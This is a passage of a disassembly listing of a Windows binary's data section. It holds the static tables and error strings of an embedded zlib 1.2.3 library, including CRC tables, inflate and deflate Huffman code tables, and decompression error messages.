0A5DD984Dh, 989AC446h, 0AFF00647h dd 0F64E4045h, 0C1248244h, 4432CD41h, 73580F40h, 2AE64942h dd 1D8C8B43h, 5068F154h, 67023355h, 3EBC7557h, 9D6B756h dd 8CC0F853h, 0BBAA3A52h, 0E2147C50h, 0D57EBE51h, 0E839E25Ah dd 0DF53205Bh, 86ED6659h, 0B187A458h, 3491EB5Dh, 3FB295Ch dd 5A456F5Eh, 6D2FAD5Fh, 801B35E1h, 0B771F7E0h, 0EECFB1E2h dd 0D9A573E3h, 5CB33CE6h, 6BD9FEE7h, 3267B8E5h, 50D7AE4h dd 384A26EFh, 0F20E4EEh, 569EA2ECh, 61F460EDh, 0E4E22FE8h dd 0D388EDE9h, 8A36ABEBh, 0BD5C69EAh, 0F0B813FDh, 0C7D2D1FCh dd 9E6C97FEh, 0A90655FFh, 2C101AFAh, 1B7AD8FBh, 42C49EF9h dd 75AE5CF8h, 48E900F3h, 7F83C2F2h, 263D84F0h, 115746F1h dd 944109F4h, 0A32BCBF5h, 0FA958DF7h, 0CDFF4FF6h, 605D78D9h dd 5737BAD8h, 0E89FCDAh, 39E33EDBh, 0BCF571DEh, 8B9FB3DFh dd 0D221F5DDh, 0E54B37DCh, 0D80C6BD7h, 0EF66A9D6h, 0B6D8EFD4h dd 81B22DD5h, 4A462D0h, 33CEA0D1h, 6A70E6D3h, 5D1A24D2h dd 10FE5EC5h, 27949CC4h, 7E2ADAC6h, 494018C7h, 0CC5657C2h dd 0FB3C95C3h, 0A282D3C1h, 95E811C0h, 0A8AF4DCBh, 9FC58FCAh dd 0C67BC9C8h, 0F1110BC9h, 740744CCh, 436D86CDh, 1AD3C0CFh dd 2DB902CEh, 4096AF91h, 77FC6D90h, 2E422B92h, 1928E993h dd 9C3EA696h, 0AB546497h, 0F2EA2295h, 0C580E094h, 0F8C7BC9Fh dd 0CFAD7E9Eh, 9613389Ch, 0A179FA9Dh, 246FB598h, 13057799h dd 4ABB319Bh, 7DD1F39Ah, 3035898Dh, 75F4B8Ch, 5EE10D8Eh dd 698BCF8Fh, 0EC9D808Ah, 0DBF7428Bh, 82490489h, 0B523C688h dd 88649A83h, 0BF0E5882h, 0E6B01E80h, 0D1DADC81h, 54CC9384h dd 63A65185h, 3A181787h, 0D72D586h, 0A0D0E2A9h, 97BA20A8h dd 0CE0466AAh, 0F96EA4ABh, 7C78EBAEh, 4B1229AFh, 12AC6FADh dd 25C6ADACh, 1881F1A7h, 2FEB33A6h, 765575A4h, 413FB7A5h dd 0C429F8A0h, 0F3433AA1h, 0AAFD7CA3h, 9D97BEA2h, 0D073C4B5h dd 0E71906B4h, 0BEA740B6h, 89CD82B7h, 0CDBCDB2h, 3BB10FB3h dd 620F49B1h, 55658BB0h, 6822D7BBh, 5F4815BAh, 6F653B8h dd 319C91B9h, 0B48ADEBCh, 83E01CBDh, 0DA5E5ABFh, 0ED3498BEh dd 0 dd 6567BCB8h, 8BC809AAh, 0EEAFB512h, 5797628Fh, 32F0DE37h dd 0DC5F6B25h, 0B938D79Dh, 0EF28B4C5h, 8A4F087Dh, 64E0BD6Fh dd 18701D7h, 0B8BFD64Ah, 0DDD86AF2h, 3377DFE0h, 56106358h dd 9F571950h, 0FA30A5E8h, 149F10FAh, 71F8AC42h, 0C8C07BDFh dd 0ADA7C767h, 43087275h, 266FCECDh, 707FAD95h, 1518112Dh dd 0FBB7A43Fh, 9ED01887h, 27E8CF1Ah, 428F73A2h, 0AC20C6B0h dd 0C9477A08h, 3EAF32A0h, 5BC88E18h, 0B5673B0Ah, 0D00087B2h dd 6938502Fh, 0C5FEC97h, 0E2F05985h, 8797E53Dh, 0D1878665h dd 0B4E03ADDh, 5A4F8FCFh, 3F283377h, 8610E4EAh, 0E3775852h dd 0DD8ED40h, 68BF51F8h, 0A1F82BF0h, 0C49F9748h, 2A30225Ah dd 4F579EE2h, 0F66F497Fh, 9308F5C7h, 7DA740D5h, 18C0FC6Dh dd 4ED09F35h, 2BB7238Dh, 0C518969Fh, 0A07F2A27h, 1947FDBAh dd 7C204102h, 928FF410h, 0F7E848A8h, 3D58149Bh, 583FA823h dd 0B6901D31h, 0D3F7A189h, 6ACF7614h, 0FA8CAACh, 0E1077FBEh dd 8460C306h, 0D270A05Eh, 0B7171CE6h, 59B8A9F4h, 3CDF154Ch dd 85E7C2D1h, 0E0807E69h, 0E2FCB7Bh, 6B4877C3h, 0A20F0DCBh dd 0C768B173h, 29C70461h, 4CA0B8D9h, 0F5986F44h, 90FFD3FCh dd 7E5066EEh, 1B37DA56h, 4D27B90Eh, 284005B6h, 0C6EFB0A4h dd 0A3880C1Ch, 1AB0DB81h, 7FD76739h, 9178D22Bh, 0F41F6E93h dd 3F7263Bh, 66909A83h, 883F2F91h, 0ED589329h, 546044B4h dd 3107F80Ch, 0DFA84D1Eh, 0BACFF1A6h, 0ECDF92FEh, 89B82E46h dd 67179B54h, 27027ECh, 0BB48F071h, 0DE2F4CC9h, 3080F9DBh dd 55E74563h, 9CA03F6Bh, 0F9C783D3h, 176836C1h, 720F8A79h dd 0CB375DE4h, 0AE50E15Ch, 40FF544Eh, 2598E8F6h, 73888BAEh dd 16EF3716h, 0F8408204h, 9D273EBCh, 241FE921h, 41785599h dd 0AFD7E08Bh, 0CAB05C33h, 3BB659EDh, 5ED1E555h, 0B07E5047h dd 0D519ECFFh, 6C213B62h, 94687DAh, 0E7E932C8h, 828E8E70h dd 0D49EED28h, 0B1F95190h, 5F56E482h, 3A31583Ah, 83098FA7h dd 0E66E331Fh, 8C1860Dh, 6DA63AB5h, 0A4E140BDh, 0C186FC05h dd 2F294917h, 4A4EF5AFh, 0F3762232h, 96119E8Ah, 78BE2B98h dd 1DD99720h, 4BC9F478h, 2EAE48C0h, 0C001FDD2h, 0A566416Ah dd 1C5E96F7h, 79392A4Fh, 97969F5Dh, 0F2F123E5h, 5196B4Dh dd 607ED7F5h, 8ED162E7h, 0EBB6DE5Fh, 528E09C2h, 37E9B57Ah dd 0D9460068h, 0BC21BCD0h, 0EA31DF88h, 8F566330h, 61F9D622h dd 49E6A9Ah, 0BDA6BD07h, 0D8C101BFh, 366EB4ADh, 53090815h dd 9A4E721Dh, 0FF29CEA5h, 11867BB7h, 74E1C70Fh, 0CDD91092h dd 0A8BEAC2Ah, 46111938h, 2376A580h, 7566C6D8h, 10017A60h dd 0FEAECF72h, 9BC973CAh, 22F1A457h, 479618EFh, 0A939ADFDh dd 0CC5E1145h, 6EE4D76h, 6389F1CEh, 8D2644DCh, 0E841F864h dd 51792FF9h, 341E9341h, 0DAB12653h, 0BFD69AEBh, 0E9C6F9B3h dd 8CA1450Bh, 620EF019h, 7694CA1h, 0BE519B3Ch, 0DB362784h dd 35999296h, 50FE2E2Eh, 99B95426h, 0FCDEE89Eh, 12715D8Ch dd 7716E134h, 0CE2E36A9h, 0AB498A11h, 45E63F03h, 208183BBh dd 7691E0E3h, 13F65C5Bh, 0FD59E949h, 983E55F1h, 2106826Ch dd 44613ED4h, 0AACE8BC6h, 0CFA9377Eh, 38417FD6h, 5D26C36Eh dd 0B389767Ch, 0D6EECAC4h, 6FD61D59h, 0AB1A1E1h, 0E41E14F3h dd 8179A84Bh, 0D769CB13h, 0B20E77ABh, 5CA1C2B9h, 39C67E01h dd 80FEA99Ch, 0E5991524h, 0B36A036h, 6E511C8Eh, 0A7166686h dd 0C271DA3Eh, 2CDE6F2Ch, 49B9D394h, 0F0810409h, 95E6B8B1h dd 7B490DA3h, 1E2EB11Bh, 483ED243h, 2D596EFBh, 0C3F6DBE9h dd 0A6916751h, 1FA9B0CCh, 7ACE0C74h, 9461B966h, 0F10605DEh aDeflate1_2_3Co db ' deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly ',0 align 4 word_41E2D8 dw 0 ; DATA XREF: sub_40EE90+3Dr word_41E2DA dw 0 ; DATA XREF: sub_40EE90+30r word_41E2DC dw 0 ; DATA XREF: sub_40EE90+4Ar word_41E2DE dw 0 ; DATA XREF: sub_40EE90+5Ar off_41E2E0 dd offset sub_40F22C ; DATA XREF: sub_40E674+60Ar dd 40004h, 40008h, 40F354h, 50004h, 80010h, 40F354h, 60004h dd 200020h, 40F354h, 40004h, 100010h, 40F63Eh, 100008h dd 200020h, 40F63Eh, 100008h, 800080h, 40F63Eh, 200008h dd 1000080h, 40F63Eh, 800020h, 4000102h, 40F63Eh, 1020020h dd 10000102h, 40F63Eh, 2E322E31h, 33h, 760h, 500800h, 100800h dd 730814h, 1F0712h, 700800h, 300800h, 0C00900h, 0A0710h dd 600800h, 200800h, 0A00900h, 800h, 800800h, 400800h dd 0E00900h, 60710h, 580800h, 180800h, 900900h, 3B0713h dd 780800h, 380800h, 0D00900h, 110711h, 680800h, 280800h dd 0B00900h, 80800h, 880800h, 480800h, 0F00900h, 40710h dd 540800h, 140800h, 0E30815h, 2B0713h, 740800h, 340800h dd 0C80900h, 0D0711h, 640800h, 240800h, 0A80900h, 40800h dd 840800h, 440800h, 0E80900h, 80710h, 5C0800h, 1C0800h dd 980900h, 530714h, 7C0800h, 3C0800h, 0D80900h, 170712h dd 6C0800h, 2C0800h, 0B80900h, 0C0800h, 8C0800h, 4C0800h dd 0F80900h, 30710h, 520800h, 120800h, 0A30815h, 230713h dd 720800h, 320800h, 0C40900h, 0B0711h, 620800h, 220800h dd 0A40900h, 20800h, 820800h, 420800h, 0E40900h, 70710h dd 5A0800h, 1A0800h, 940900h, 430714h, 7A0800h, 3A0800h dd 0D40900h, 130712h, 6A0800h, 2A0800h, 0B40900h, 0A0800h dd 8A0800h, 4A0800h, 0F40900h, 50710h, 560800h, 160800h dd 840h, 330713h, 760800h, 360800h, 0CC0900h, 0F0711h dd 660800h, 260800h, 0AC0900h, 60800h, 860800h, 460800h dd 0EC0900h, 90710h, 5E0800h, 1E0800h, 9C0900h, 630714h dd 7E0800h, 3E0800h, 0DC0900h, 1B0712h, 6E0800h, 2E0800h dd 0BC0900h, 0E0800h, 8E0800h, 4E0800h, 0FC0900h, 760h dd 510800h, 110800h, 830815h, 1F0712h, 710800h, 310800h dd 0C20900h, 0A0710h, 610800h, 210800h, 0A20900h, 10800h dd 810800h, 410800h, 0E20900h, 60710h, 590800h, 190800h dd 920900h, 3B0713h, 790800h, 390800h, 0D20900h, 110711h dd 690800h, 290800h, 0B20900h, 90800h, 890800h, 490800h dd 0F20900h, 40710h, 550800h, 150800h, 1020810h, 2B0713h dd 750800h, 350800h, 0CA0900h, 0D0711h, 650800h, 250800h dd 0AA0900h, 50800h, 850800h, 450800h, 0EA0900h, 80710h dd 5D0800h, 1D0800h, 9A0900h, 530714h, 7D0800h, 3D0800h dd 0DA0900h, 170712h, 6D0800h, 2D0800h, 0BA0900h, 0D0800h dd 8D0800h, 4D0800h, 0FA0900h, 30710h, 530800h, 130800h dd 0C30815h, 230713h, 730800h, 330800h, 0C60900h, 0B0711h dd 630800h, 230800h, 0A60900h, 30800h, 830800h, 430800h dd 0E60900h, 70710h, 5B0800h, 1B0800h, 960900h, 430714h dd 7B0800h, 3B0800h, 0D60900h, 130712h, 6B0800h, 2B0800h dd 0B60900h, 0B0800h, 8B0800h, 4B0800h, 0F60900h, 50710h dd 570800h, 170800h, 840h, 330713h, 770800h, 370800h, 0CE0900h dd 0F0711h, 670800h, 270800h, 0AE0900h, 70800h, 870800h dd 470800h, 0EE0900h, 90710h, 5F0800h, 1F0800h, 9E0900h dd 630714h, 7F0800h, 3F0800h, 0DE0900h, 1B0712h, 6F0800h dd 2F0800h, 0BE0900h, 0F0800h, 8F0800h, 4F0800h, 0FE0900h dd 760h, 500800h, 100800h, 730814h, 1F0712h, 700800h, 300800h dd 0C10900h, 0A0710h, 600800h, 200800h, 0A10900h, 800h dd 800800h, 400800h, 0E10900h, 60710h, 580800h, 180800h dd 910900h, 3B0713h, 780800h, 380800h, 0D10900h, 110711h dd 680800h, 280800h, 0B10900h, 80800h, 880800h, 480800h dd 0F10900h, 40710h, 540800h, 140800h, 0E30815h, 2B0713h dd 740800h, 340800h, 0C90900h, 0D0711h, 640800h, 240800h dd 0A90900h, 40800h, 840800h, 440800h, 0E90900h, 80710h dd 5C0800h, 1C0800h, 990900h, 530714h, 7C0800h, 3C0800h dd 0D90900h, 170712h, 6C0800h, 2C0800h, 0B90900h, 0C0800h dd 8C0800h, 4C0800h, 0F90900h, 30710h, 520800h, 120800h dd 0A30815h, 230713h, 720800h, 320800h, 0C50900h, 0B0711h dd 620800h, 220800h, 0A50900h, 20800h, 820800h, 420800h dd 0E50900h, 70710h, 5A0800h, 1A0800h, 950900h, 430714h dd 7A0800h, 3A0800h, 0D50900h, 130712h, 6A0800h, 2A0800h dd 0B50900h, 0A0800h, 8A0800h, 4A0800h, 0F50900h, 50710h dd 560800h, 160800h, 840h, 330713h, 760800h, 360800h, 0CD0900h dd 0F0711h, 660800h, 260800h, 0AD0900h, 60800h, 860800h dd 460800h, 0ED0900h, 90710h, 5E0800h, 1E0800h, 9D0900h dd 630714h, 7E0800h, 3E0800h, 0DD0900h, 1B0712h, 6E0800h dd 2E0800h, 0BD0900h, 0E0800h, 8E0800h, 4E0800h, 0FD0900h dd 760h, 510800h, 110800h, 830815h, 1F0712h, 710800h, 310800h dd 0C30900h, 0A0710h, 610800h, 210800h, 0A30900h, 10800h dd 810800h, 410800h, 0E30900h, 60710h, 590800h, 190800h dd 930900h, 3B0713h, 790800h, 390800h, 0D30900h, 110711h dd 690800h, 290800h, 0B30900h, 90800h, 890800h, 490800h dd 0F30900h, 40710h, 550800h, 150800h, 1020810h, 2B0713h dd 750800h, 350800h, 0CB0900h, 0D0711h, 650800h, 250800h dd 0AB0900h, 50800h, 850800h, 450800h, 0EB0900h, 80710h dd 5D0800h, 1D0800h, 9B0900h, 530714h, 7D0800h, 3D0800h dd 0DB0900h, 170712h, 6D0800h, 2D0800h, 0BB0900h, 0D0800h dd 8D0800h, 4D0800h, 0FB0900h, 30710h, 530800h, 130800h dd 0C30815h, 230713h, 730800h, 330800h, 0C70900h, 0B0711h dd 630800h, 230800h, 0A70900h, 30800h, 830800h, 430800h dd 0E70900h, 70710h, 5B0800h, 1B0800h, 970900h, 430714h dd 7B0800h, 3B0800h, 0D70900h, 130712h, 6B0800h, 2B0800h dd 0B70900h, 0B0800h, 8B0800h, 4B0800h, 0F70900h, 50710h dd 570800h, 170800h dd 840h, 330713h, 770800h, 370800h, 0CF0900h, 0F0711h dd 670800h, 270800h, 0AF0900h, 70800h, 870800h, 470800h dd 0EF0900h, 90710h, 5F0800h, 1F0800h, 9F0900h, 630714h dd 7F0800h, 3F0800h, 0DF0900h, 1B0712h, 6F0800h, 2F0800h dd 0BF0900h, 0F0800h, 8F0800h, 4F0800h, 0FF0900h, 10510h dd 1010517h, 110513h, 1001051Bh, 50511h, 4010519h, 410515h dd 4001051Dh, 30510h, 2010518h, 210514h, 2001051Ch, 90512h dd 801051Ah, 810516h, 540h, 20510h, 1810517h, 190513h dd 1801051Bh, 70511h, 6010519h, 610515h, 6001051Dh, 40510h dd 3010518h, 310514h, 3001051Ch, 0D0512h, 0C01051Ah, 0C10516h dd 540h, 110010h, 12h, 70008h, 60009h, 5000Ah, 4000Bh dd 3000Ch, 2000Dh, 1000Eh, 0Fh aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_41025B+700o align 4 aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_41025B+79Bo align 4 aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_41025B:loc_410ADFo aInvalidDistanc db 'invalid distance too far back',0 ; DATA XREF: sub_40FC7B:loc_40FFD9o ; sub_41025B+F0Fo align 4 aInvalidDista_0 db 'invalid distance code',0 ; DATA XREF: sub_40FC7B:loc_40FFE2o ; sub_41025B+E97o align 10h aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_40FC7B:loc_40FFF8o ; sub_41025B+D43o aInvalidDista_1 db 'invalid distances set',0 ; DATA XREF: sub_41025B+BABo align 4 aInvalidLiter_0 db 'invalid literal/lengths set',0 ; DATA XREF: sub_41025B+B32o aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_41025B+AE1o ; sub_41025B+B66o align 4 aInvalidCodeLen db 'invalid code lengths set',0 ; DATA XREF: sub_41025B+934o align 4 asc_41ED18 db '`',7,0 ; DATA XREF: sub_41025B:loc_410972o align 4 dd 500800h, 100800h, 730814h, 1F0712h, 700800h, 300800h dd 0C00900h, 0A0710h, 600800h, 200800h, 0A00900h, 800h dd 800800h, 400800h, 0E00900h, 60710h, 580800h, 180800h dd 900900h, 3B0713h, 780800h, 380800h, 0D00900h, 110711h dd 680800h, 280800h, 0B00900h, 80800h, 880800h, 480800h dd 0F00900h, 40710h, 540800h, 140800h, 0E30815h, 2B0713h dd 740800h, 340800h, 0C80900h, 0D0711h, 640800h, 240800h dd 0A80900h, 40800h, 840800h, 440800h, 0E80900h, 80710h dd 5C0800h, 1C0800h, 980900h, 530714h, 7C0800h, 3C0800h dd 0D80900h, 170712h, 6C0800h, 2C0800h, 0B80900h, 0C0800h dd 8C0800h, 4C0800h, 0F80900h, 30710h, 520800h, 120800h dd 0A30815h, 230713h, 720800h, 320800h, 0C40900h, 0B0711h dd 620800h, 220800h, 0A40900h, 20800h, 820800h, 420800h dd 0E40900h, 70710h, 5A0800h, 1A0800h, 940900h, 430714h dd 7A0800h, 3A0800h, 0D40900h, 130712h, 6A0800h, 2A0800h dd 0B40900h, 0A0800h, 8A0800h, 4A0800h, 0F40900h, 50710h dd 560800h, 160800h, 840h, 330713h, 760800h, 360800h, 0CC0900h dd 0F0711h, 660800h, 260800h, 0AC0900h, 60800h, 860800h dd 460800h, 0EC0900h, 90710h, 5E0800h, 1E0800h, 9C0900h dd 630714h, 7E0800h, 3E0800h, 0DC0900h, 1B0712h, 6E0800h dd 2E0800h, 0BC0900h, 0E0800h, 8E0800h, 4E0800h, 0FC0900h dd 760h, 510800h, 110800h, 830815h, 1F0712h, 710800h, 310800h dd 0C20900h, 0A0710h, 610800h, 210800h, 0A20900h, 10800h dd 810800h, 410800h, 0E20900h, 60710h, 590800h, 190800h dd 920900h, 3B0713h, 790800h, 390800h, 0D20900h, 110711h dd 690800h, 290800h, 0B20900h, 90800h, 890800h, 490800h dd 0F20900h, 40710h, 550800h, 150800h, 1020810h, 2B0713h dd 750800h, 350800h, 0CA0900h, 0D0711h, 650800h, 250800h dd 0AA0900h, 50800h, 850800h, 450800h, 0EA0900h, 80710h dd 5D0800h, 1D0800h, 9A0900h, 530714h, 7D0800h, 3D0800h dd 0DA0900h, 170712h, 6D0800h, 2D0800h, 0BA0900h, 0D0800h dd 8D0800h, 4D0800h, 0FA0900h, 30710h, 530800h, 130800h dd 0C30815h, 230713h, 730800h, 330800h, 0C60900h, 0B0711h dd 630800h, 230800h, 0A60900h, 30800h, 830800h, 430800h dd 0E60900h, 70710h, 5B0800h, 1B0800h, 960900h, 430714h dd 7B0800h, 3B0800h, 0D60900h, 130712h, 6B0800h, 2B0800h dd 0B60900h, 0B0800h, 8B0800h, 4B0800h, 0F60900h, 50710h dd 570800h, 170800h, 840h, 330713h, 770800h, 370800h, 0CE0900h dd 0F0711h, 670800h, 270800h, 0AE0900h, 70800h, 870800h dd 470800h, 0EE0900h, 90710h, 5F0800h, 1F0800h, 9E0900h dd 630714h, 7F0800h, 3F0800h, 0DE0900h, 1B0712h, 6F0800h dd 2F0800h, 0BE0900h, 0F0800h, 8F0800h, 4F0800h, 0FE0900h dd 760h, 500800h, 100800h, 730814h, 1F0712h, 700800h, 300800h dd 0C10900h, 0A0710h, 600800h, 200800h, 0A10900h, 800h dd 800800h, 400800h, 0E10900h, 60710h, 580800h, 180800h dd 910900h, 3B0713h, 780800h, 380800h, 0D10900h, 110711h dd 680800h, 280800h, 0B10900h, 80800h, 880800h, 480800h dd 0F10900h, 40710h, 540800h, 140800h, 0E30815h, 2B0713h dd 740800h, 340800h, 0C90900h, 0D0711h, 640800h, 240800h dd 0A90900h, 40800h, 840800h, 440800h, 0E90900h, 80710h dd 5C0800h, 1C0800h, 990900h, 530714h, 7C0800h, 3C0800h dd 0D90900h, 170712h, 6C0800h, 2C0800h, 0B90900h, 0C0800h dd 8C0800h, 4C0800h, 0F90900h, 30710h, 520800h, 120800h dd 0A30815h, 230713h, 720800h, 320800h, 0C50900h, 0B0711h dd 620800h, 220800h, 0A50900h, 20800h, 820800h, 420800h dd 0E50900h, 70710h, 5A0800h, 1A0800h, 950900h, 430714h dd 7A0800h, 3A0800h, 0D50900h, 130712h, 6A0800h, 2A0800h dd 0B50900h, 0A0800h, 8A0800h, 4A0800h, 0F50900h, 50710h dd 560800h, 160800h, 840h, 330713h, 760800h, 360800h, 0CD0900h dd 0F0711h, 660800h, 260800h, 0AD0900h, 60800h, 860800h dd 460800h, 0ED0900h, 90710h, 5E0800h, 1E0800h, 9D0900h dd 630714h, 7E0800h, 3E0800h, 0DD0900h, 1B0712h, 6E0800h dd 2E0800h, 0BD0900h, 0E0800h, 8E0800h, 4E0800h, 0FD0900h dd 760h, 510800h, 110800h, 830815h, 1F0712h, 710800h, 310800h dd 0C30900h, 0A0710h, 610800h, 210800h, 0A30900h, 10800h dd 810800h, 410800h, 0E30900h, 60710h, 590800h, 190800h dd 930900h, 3B0713h, 790800h, 390800h, 0D30900h, 110711h dd 690800h, 290800h, 0B30900h, 90800h, 890800h, 490800h dd 0F30900h, 40710h, 550800h, 150800h, 1020810h, 2B0713h dd 750800h, 350800h, 0CB0900h, 0D0711h, 650800h, 250800h dd 0AB0900h, 50800h, 850800h, 450800h, 0EB0900h, 80710h dd 5D0800h, 1D0800h, 9B0900h, 530714h, 7D0800h, 3D0800h dd 0DB0900h, 170712h, 6D0800h, 2D0800h, 0BB0900h, 0D0800h dd 8D0800h, 4D0800h, 0FB0900h, 30710h, 530800h, 130800h dd 0C30815h, 230713h, 730800h, 330800h, 0C70900h, 0B0711h dd 630800h, 230800h, 0A70900h, 30800h, 830800h, 430800h dd 0E70900h, 70710h, 5B0800h, 1B0800h, 970900h, 430714h dd 7B0800h, 3B0800h, 0D70900h, 130712h, 6B0800h, 2B0800h dd 0B70900h, 0B0800h, 8B0800h, 4B0800h, 0F70900h, 50710h dd 570800h, 170800h, 840h, 330713h, 770800h, 370800h, 0CF0900h dd 0F0711h, 670800h, 270800h, 0AF0900h, 70800h, 870800h dd 470800h, 0EF0900h, 90710h, 5F0800h, 1F0800h, 9F0900h dd 630714h, 7F0800h, 3F0800h, 0DF0900h, 1B0712h, 6F0800h dd 2F0800h, 0BF0900h, 0F0800h, 8F0800h, 4F0800h, 0FF0900h dword_41F518 dd 10510h, 1010517h, 110513h, 1001051Bh, 50511h, 4010519h ; DATA XREF: sub_41025B+725o dd 410515h, 4001051Dh, 30510h, 2010518h, 210514h, 2001051Ch dd 90512h, 801051Ah, 810516h, 540h, 20510h, 1810517h, 190513h dd 1801051Bh, 70511h, 6010519h, 610515h, 6001051Dh, 40510h dd 3010518h, 310514h, 3001051Ch, 0D0512h, 0C01051Ah, 0C10516h dd 540h word_41F598 dw 10h ; DATA XREF: sub_41025B+8B7r ; sub_41025B+8E3r dw 11h dd 12h, 70008h, 60009h, 5000Ah, 4000Bh, 3000Ch, 2000Dh dd 1000Eh, 0Fh aIncorrectLengt db 'incorrect length check',0 ; DATA XREF: sub_41025B+10C9o align 4 aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_41025B+1073o align 10h aHeaderCrcMisma db 'header crc mismatch',0 ; DATA XREF: sub_41025B+5C1o aUnknownHeaderF db 'unknown header flags set',0 ; DATA XREF: sub_41025B+1EEo align 10h aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_41025B+198o align 4 aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_41025B+154o aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_41025B+12Fo ; sub_41025B+1DBo align 4 aInflate1_2_3Co db ' inflate 1.2.3 Copyright 1995-2005 Mark Adler ',0 align 4 dword_41F698 dd 40003h, 60005h, 80007h, 0A0009h, 0D000Bh, 11000Fh, 170013h ; DATA XREF: sub_411515+141o dd 1F001Bh, 2B0023h, 3B0033h, 530043h, 730063h, 0A30083h dd 0E300C3h, 102h, 0 dword_41F6D8 dd 4 dup(100010h), 2 dup(110011h), 2 dup(120012h), 2 dup(130013h) ; DATA XREF: sub_411515+14Bo dd 2 dup(140014h), 2 dup(150015h), 0C90010h, 0C4h dword_41F718 dd 20001h, 40003h, 70005h, 0D0009h, 190011h, 310021h, 610041h ; DATA XREF: sub_411515+124o dd 0C10081h, 1810101h, 3010201h, 6010401h, 0C010801h, 18011001h dd 30012001h, 60014001h, 0 dword_41F758 dd 2 dup(100010h), 110011h, 120012h, 130013h, 140014h ; DATA XREF: sub_411515+12Bo dd 150015h, 160016h, 170017h, 180018h, 190019h, 1A001Ah dd 1B001Bh, 1C001Ch, 1D001Dh, 400040h dword_41F798 dd 0 ; DATA XREF: sub_412320+159r dd 7 dup(0) dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0 byte_41F80C db 10h ; DATA XREF: sub_4120EA+18Dr ; sub_412B0A:loc_412B43r db 11h, 12h, 0 dd 6090708h, 40B050Ah, 20D030Ch, 0F010Eh dword_41F820 dd 0 ; DATA XREF: sub_412320+287r align 10h dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6) dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh) dd 2 dup(0Ch), 2 dup(0Dh), 10h dup(0) dd 2, 3, 7, 0 dword_41F8E8 dd 8000Ch, 8008Ch, 8004Ch, 800CCh, 8002Ch, 800ACh, 8006Ch ; DATA XREF: sub_412DBD+1C1o dd 800ECh, 8001Ch, 8009Ch, 8005Ch, 800DCh, 8003Ch, 800BCh dd 8007Ch, 800FCh, 80002h, 80082h, 80042h, 800C2h, 80022h dd 800A2h, 80062h, 800E2h, 80012h, 80092h, 80052h, 800D2h dd 80032h, 800B2h, 80072h, 800F2h, 8000Ah, 8008Ah, 8004Ah dd 800CAh, 8002Ah, 800AAh, 8006Ah, 800EAh, 8001Ah, 8009Ah dd 8005Ah, 800DAh, 8003Ah, 800BAh, 8007Ah, 800FAh, 80006h dd 80086h, 80046h, 800C6h, 80026h, 800A6h, 80066h, 800E6h dd 80016h, 80096h, 80056h, 800D6h, 80036h, 800B6h, 80076h dd 800F6h, 8000Eh, 8008Eh, 8004Eh, 800CEh, 8002Eh, 800AEh dd 8006Eh, 800EEh, 8001Eh, 8009Eh, 8005Eh, 800DEh, 8003Eh dd 800BEh, 8007Eh, 800FEh, 80001h, 80081h, 80041h, 800C1h dd 80021h, 800A1h, 80061h, 800E1h, 80011h, 80091h, 80051h dd 800D1h, 80031h, 800B1h, 80071h, 800F1h, 80009h, 80089h dd 80049h, 800C9h, 80029h, 800A9h, 80069h, 800E9h, 80019h dd 80099h, 80059h, 800D9h, 80039h, 800B9h, 80079h, 800F9h dd 80005h, 80085h, 80045h, 800C5h, 80025h, 800A5h, 80065h dd 800E5h, 80015h, 80095h, 80055h, 800D5h, 80035h, 800B5h dd 80075h, 800F5h, 8000Dh, 8008Dh, 8004Dh, 800CDh, 8002Dh dd 800ADh, 8006Dh, 800EDh, 8001Dh, 8009Dh, 8005Dh, 800DDh dd 8003Dh, 800BDh, 8007Dh, 800FDh, 90013h, 90113h, 90093h dd 90193h, 90053h, 90153h, 900D3h, 901D3h, 90033h, 90133h dd 900B3h, 901B3h, 90073h, 90173h, 900F3h, 901F3h, 9000Bh dd 9010Bh, 9008Bh, 9018Bh, 9004Bh, 9014Bh, 900CBh, 901CBh dd 9002Bh, 9012Bh, 900ABh, 901ABh, 9006Bh, 9016Bh, 900EBh dd 901EBh, 9001Bh, 9011Bh, 9009Bh, 9019Bh, 9005Bh, 9015Bh dd 900DBh, 901DBh, 9003Bh, 9013Bh, 900BBh, 901BBh, 9007Bh dd 9017Bh, 900FBh, 901FBh, 90007h, 90107h, 90087h, 90187h dd 90047h, 90147h, 900C7h, 901C7h, 90027h, 90127h, 900A7h dd 901A7h, 90067h, 90167h, 900E7h, 901E7h, 90017h, 90117h dd 90097h, 90197h, 90057h, 90157h, 900D7h, 901D7h, 90037h dd 90137h, 900B7h, 901B7h, 90077h, 90177h, 900F7h, 901F7h dd 9000Fh, 9010Fh, 9008Fh, 9018Fh, 9004Fh, 9014Fh, 900CFh dd 901CFh, 9002Fh, 9012Fh, 900AFh, 901AFh, 9006Fh, 9016Fh dd 900EFh, 901EFh, 9001Fh, 9011Fh, 9009Fh, 9019Fh, 9005Fh dd 9015Fh, 900DFh, 901DFh, 9003Fh, 9013Fh, 900BFh, 901BFh dd 9007Fh, 9017Fh, 900FFh, 901FFh, 70000h, 70040h, 70020h dd 70060h, 70010h, 70050h, 70030h, 70070h, 70008h, 70048h dd 70028h, 70068h, 70018h, 70058h, 70038h, 70078h, 70004h dd 70044h, 70024h, 70064h, 70014h, 70054h, 70034h, 70074h dd 80003h, 80083h, 80043h, 800C3h, 80023h, 800A3h, 80063h dd 800E3h dword_41FD68 dd 50000h, 50010h, 50008h, 50018h, 50004h, 50014h, 5000Ch ; DATA XREF: sub_412DBD:loc_412F79o dd 5001Ch, 50002h, 50012h, 5000Ah, 5001Ah, 50006h, 50016h dd 5000Eh, 5001Eh, 50001h, 50011h, 50009h, 50019h, 50005h dd 50015h, 5000Dh, 5001Dh, 50003h, 50013h, 5000Bh, 5001Bh dd 50007h, 50017h byte_41FDE0 db 0 ; DATA XREF: .text:0040F47Dr ; .text:0040F7CEr ... db 1, 2, 3 dd 5050404h, 6060606h, 7070707h, 2 